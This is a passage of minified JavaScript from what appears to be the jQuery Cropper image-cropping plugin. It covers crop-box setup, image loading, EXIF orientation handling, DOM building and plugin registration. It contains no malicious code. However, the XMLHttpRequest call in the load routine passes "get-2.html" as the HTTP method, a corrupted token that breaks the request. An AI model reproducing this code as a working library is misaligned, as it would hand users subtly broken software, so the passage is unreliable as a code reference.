it.drawImage.apply(it,[U].concat(k(t.map(ut,function(t){return Math.floor(z(t))})))),tt},setAspectRatio:function(t){var i=this.options;this.disabled||T(t)||(i.aspectRatio=Math.max(0,t)||NaN,this.ready&&(this.initCropBox(),this.cropped&&this.renderCropBox()))},setDragMode:function(t){var i=this.options,e=void 0,n=void 0;this.loaded&&!this.disabled&&(e="crop"===t,n=i.movable&&"move"===t,t=e||n?t:"none",this.$dragBox.data(d,t).toggleClass(a,e).toggleClass(r,n),i.cropBoxMovable||this.$face.data(d,t).toggleClass(a,e).toggleClass(r,n))}},_=function(){function i(e){var a=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if($(this,i),!e||!C.test(e.tagName))throw new Error("The first argument is required and must be an <img> or <canvas> element.");this.element=e,this.$element=t(e),this.options=t.extend({},M,t.isPlainObject(a)&&a),this.completed=!1,this.cropped=!1,this.disabled=!1,this.isImg=!1,this.limited=!1,this.loaded=!1,this.ready=!1,this.replaced=!1,this.wheeling=!1,this.originalUrl="",this.canvas=null,this.cropBox=null,this.pointers={},this.init()}return B(i,[{key:"init",value:function(){var t=this.$element,i=void 0;if(t.is("img")){if(this.isImg=!0,i=t.attr("src")||"",this.originalUrl=i,!i)return;i=t.prop("src")}else t.is("canvas")&&window.HTMLCanvasElement&&(i=t[0].toDataURL());this.load(i)}},{key:"trigger",value:function(i,e){var a=t.Event(i,e);return this.$element.trigger(a),a}},{key:"load",value:function(i){var e=this;if(i){this.url=i,this.image={};var a=this.$element,n=this.options;if(n.checkOrientation&&window.ArrayBuffer)if(b.test(i))y.test(i)?this.read((o=i.replace(S,""),h=atob(o),s=new ArrayBuffer(h.length),r=new Uint8Array(s),t.each(r,function(t){r[t]=h.charCodeAt(t)}),s)):this.clone();else{var o,h,s,r,d=new XMLHttpRequest;d.onerror=function(){e.clone()},d.onload=function(){e.read(d.response)},n.checkCrossOrigin&&N(i)&&!a.prop("crossOrigin")&&(i=R(i)),d.open("get-2.html",i),d.responseType="arraybuffer",d.withCredentials="use-credentials"===a.prop("crossOrigin"),d.send()}else this.clone()}}},{key:"read",value:function(i){var e,a,n,o=this.options,h=this.image,s=q(i),r=0,d=1,l=1;if(s>1){this.url=(e="image/jpeg",a=new Uint8Array(i),n="",t.each(a,function(t,i){n+=j(i)}),"data:"+e+";base64,"+btoa(n));var c=function(t){var i=0,e=1,a=1;switch(t){case 2:e=-1;break;case 3:i=-180;break;case 4:a=-1;break;case 5:i=90,a=-1;break;case 6:i=90;break;case 7:i=90,e=-1;break;case 8:i=-90}return{rotate:i,scaleX:e,scaleY:a}}(s);r=c.rotate,d=c.scaleX,l=c.scaleY}o.rotatable&&(h.rotate=r),o.scalable&&(h.scaleX=d,h.scaleY=l),this.clone()}},{key:"clone",value:function(){var i=this.$element,e=this.options,a=this.url,n="",o=void 0;e.checkCrossOrigin&&N(a)&&((n=i.prop("crossOrigin"))?o=a:(n="anonymous",o=R(a))),this.crossOrigin=n,this.crossOriginUrl=o;var s=document.createElement("img");n&&(s.crossOrigin=n),s.src=o||a;var r=t(s);this.$clone=r,this.isImg?this.element.complete?this.start():i.one("load",t.proxy(this.start,this)):r.one("load",t.proxy(this.start,this)).one("error",t.proxy(this.stop,this)).addClass(h).insertAfter(i)}},{key:"start",value:function(){var i=this,e=this.$clone,a=this.$element;this.isImg||(e.off("error",this.stop),a=e),function(t,i){if(!t.naturalWidth||I){var e=document.createElement("img");e.onload=function(){i(e.width,e.height)},e.src=t.src}else i(t.naturalWidth,t.naturalHeight)}(a[0],function(e,a){t.extend(i.image,{naturalWidth:e,naturalHeight:a,aspectRatio:e/a}),i.loaded=!0,i.build()})}},{key:"stop",value:function(){this.$clone.remove(),this.$clone=null}},{key:"build",value:function(){var i=this;if(this.loaded){this.ready&&this.unbuild();var a=this.$element,n=this.options,l=this.$clone,p=t('<div class="cropper-container"><div class="cropper-wrap-box"><div class="cropper-canvas"></div></div><div class="cropper-drag-box"></div><div class="cropper-crop-box"><span class="cropper-view-box"></span><span class="cropper-dashed dashed-h"></span><span class="cropper-dashed dashed-v"></span><span class="cropper-center"></span><span class="cropper-face"></span><span class="cropper-line line-e" data-action="e"></span><span class="cropper-line line-n" data-action="n"></span><span class="cropper-line line-w" data-action="w"></span><span class="cropper-line line-s" data-action="s"></span><span class="cropper-point point-e" data-action="e"></span><span class="cropper-point point-n" data-action="n"></span><span class="cropper-point point-w" data-action="w"></span><span class="cropper-point point-s" data-action="s"></span><span class="cropper-point point-ne" data-action="ne"></span><span class="cropper-point point-nw" data-action="nw"></span><span class="cropper-point point-sw" data-action="sw"></span><span class="cropper-point point-se" data-action="se"></span></div></div>'),m=p.find("."+e+"-crop-box"),g=m.find("."+e+"-face");this.$container=a.parent(),this.$cropper=p,this.$canvas=p.find("."+e+"-canvas").append(l),this.$dragBox=p.find("."+e+"-drag-box"),this.$cropBox=m,this.$viewBox=p.find("."+e+"-view-box"),this.$face=g,a.addClass(o).after(p),this.isImg||l.removeClass(h),this.initPreview(),this.bind(),n.aspectRatio=Math.max(0,n.aspectRatio)||NaN,n.viewMode=Math.max(0,Math.min(3,Math.round(n.viewMode)))||0,this.cropped=n.autoCrop,n.autoCrop?n.modal&&this.$dragBox.addClass(s):m.addClass(o),n.guides||m.find("."+e+"-dashed").addClass(o),n.center||m.find("."+e+"-center").addClass(o),n.cropBoxMovable&&g.addClass(r).data(d,"all"),n.highlight||g.addClass("cropper-invisible"),n.background&&p.addClass(e+"-bg"),n.cropBoxResizable||m.find("."+e+"-line,."+e+"-point").addClass(o),this.setDragMode(n.dragMode),this.render(),this.ready=!0,this.setData(n.data),this.completing=setTimeout(function(){t.isFunction(n.ready)&&a.one("ready",n.ready),i.trigger("ready"),i.trigger(c,i.getData()),i.completed=!0},0)}}},{key:"unbuild",value:function(){this.ready&&(this.completed||clearTimeout(this.completing),this.ready=!1,this.completed=!1,this.initialImage=null,this.initialCanvas=null,this.initialCropBox=null,this.container=null,this.canvas=null,this.cropBox=null,this.unbind(),this.resetPreview(),this.$preview=null,this.$viewBox=null,this.$cropBox=null,this.$dragBox=null,this.$canvas=null,this.$container=null,this.$cropper.remove(),this.$cropper=null)}}],[{key:"setDefaults",value:function(i){t.extend(M,t.isPlainObject(i)&&i)}}]),i}();if(t.extend&&t.extend(_.prototype,Q,K,Z,V,G,J),t.fn){var tt=t.fn.cropper;t.fn.cropper=function(i){for(var a=arguments.length,n=Array(a>1?a-1:0),o=1;o<a;o++)n[o-1]=arguments[o];var h=void 0;return this.each(function(a,o){var s=t(o),r=s.data(e);if(!r){if(/destroy/.test(i))return;var d=t.extend({},s.data(),t.isPlainObject(i)&&i);r=new _(o,d),s.data(e,r)}if("string"==typeof i){var l=r[i];t.isFunction(l)&&(h=l.apply(r,n))}}),T(h)?this:h},t.fn.cropper.Constructor=_,t.fn.cropper.setDefaults=_.setDefaults,t.fn.cropper.noConflict=function(){return t.fn.cropper=tt,this}}});